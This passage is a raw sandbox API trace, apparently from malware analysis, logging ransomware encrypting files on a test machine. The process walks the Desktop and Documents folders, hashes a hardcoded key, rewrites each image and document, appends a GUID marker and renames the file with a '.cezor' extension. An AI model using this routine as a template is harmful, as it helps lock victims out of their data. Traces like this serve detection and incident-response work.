32 [0061.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.567] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.567] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.567] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.568] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.568] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.568] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.568] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.568] GetLastError () returned 0x0 [0061.568] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.568] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.568] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xad4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.568] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.569] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.569] CloseHandle (hObject=0x5c4) returned 1 [0061.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016c78 [0061.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8d0) returned 0x3100c28 [0061.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\-1 X.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xt72dhyix\\-1 x.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\-1 X.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xt72dhyix\\-1 x.bmp.cezor")) returned 1 [0061.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.570] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0061.571] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72100e60, ftCreationTime.dwHighDateTime=0x1d4caa0, ftLastAccessTime.dwLowDateTime=0xf50caa00, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xf50caa00, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0xfacf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u39sgkNzI3ujT06Y2kP.gif", cAlternateFileName="U39SGK~1.GIF")) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0061.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.571] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\u39sgkNzI3ujT06Y2kP.gif") returned=".gif" [0061.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\u39sgkNzI3ujT06Y2kP.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xt72dhyix\\u39sgknzi3ujt06y2kp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.571] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=64207) returned 1 [0061.571] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.574] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfaa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.574] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.575] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.575] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xfacf, lpOverlapped=0x0) returned 1 [0061.575] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.575] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.575] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.575] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.576] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.576] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.576] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.576] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.576] GetLastError () returned 0x0 [0061.576] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.576] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfad0) returned 0x3132418 [0061.576] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.577] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xfaca, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xfaca, lpOverlapped=0x0) returned 1 [0061.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.577] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfacf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.577] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.577] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.577] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.577] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.577] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.577] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.577] CloseHandle (hObject=0x5c4) returned 1 [0061.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2058 [0061.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3100c28 [0061.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2058 | out: hHeap=0x670000) returned 1 [0061.579] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\u39sgkNzI3ujT06Y2kP.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xt72dhyix\\u39sgknzi3ujt06y2kp.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\u39sgkNzI3ujT06Y2kP.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xt72dhyix\\u39sgknzi3ujt06y2kp.gif.cezor")) returned 1 [0061.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.579] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0061.580] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72100e60, ftCreationTime.dwHighDateTime=0x1d4caa0, ftLastAccessTime.dwLowDateTime=0xf50caa00, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xf50caa00, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0xfacf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u39sgkNzI3ujT06Y2kP.gif", cAlternateFileName="U39SGK~1.GIF")) returned 0 [0061.580] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febc48 | out: hHeap=0x670000) returned 1 [0061.580] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.580] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0061.582] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\") returned="-3tBc\\" [0061.582] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\") returned="NtnCGgs\\" [0061.582] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0061.582] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0061.582] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.582] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.582] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.582] PathFindFileNameW (pszPath="") returned="" [0061.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77a48260, ftCreationTime.dwHighDateTime=0x1d4d44c, ftLastAccessTime.dwLowDateTime=0xfaa5a220, ftLastAccessTime.dwHighDateTime=0x1d4c696, ftLastWriteTime.dwLowDateTime=0xfaa5a220, ftLastWriteTime.dwHighDateTime=0x1d4c696, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dab0 | out: hHeap=0x670000) returned 1 [0061.582] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77a48260, ftCreationTime.dwHighDateTime=0x1d4d44c, ftLastAccessTime.dwLowDateTime=0xfaa5a220, ftLastAccessTime.dwHighDateTime=0x1d4c696, ftLastWriteTime.dwLowDateTime=0xfaa5a220, ftLastWriteTime.dwHighDateTime=0x1d4c696, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.582] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418274f0, ftCreationTime.dwHighDateTime=0x1d4c5b8, ftLastAccessTime.dwLowDateTime=0x83fd58a0, ftLastAccessTime.dwHighDateTime=0x1d4cdaa, ftLastWriteTime.dwLowDateTime=0x83fd58a0, ftLastWriteTime.dwHighDateTime=0x1d4cdaa, nFileSizeHigh=0x0, nFileSizeLow=0xbef4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dbOCkvV1nk u.doc", cAlternateFileName="DBOCKV~1.DOC")) returned 1 [0061.582] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\dbOCkvV1nk u.doc") returned=".doc" [0061.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\dbOCkvV1nk u.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\dbockvv1nk u.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.583] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=48884) returned 1 [0061.583] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.585] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbece, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.585] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.586] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xbef4, lpOverlapped=0x0) returned 1 [0061.586] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.586] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.586] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.586] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0061.587] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.587] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.587] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.587] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.587] GetLastError () returned 0x0 [0061.587] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.587] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0061.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.588] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.588] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.588] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.588] CloseHandle (hObject=0x5c4) returned 1 [0061.589] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\dbOCkvV1nk u.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\dbockvv1nk u.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\dbOCkvV1nk u.doc.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\dbockvv1nk u.doc.cezor")) returned 1 [0061.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.589] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.590] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.590] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903cc580, ftCreationTime.dwHighDateTime=0x1d4c7ef, ftLastAccessTime.dwLowDateTime=0x62b3e610, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0x62b3e610, ftLastWriteTime.dwHighDateTime=0x1d4cb56, nFileSizeHigh=0x0, nFileSizeLow=0x94a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p-qIG.doc", cAlternateFileName="")) returned 1 [0061.590] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\p-qIG.doc") returned=".doc" [0061.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\p-qIG.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\p-qig.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.590] 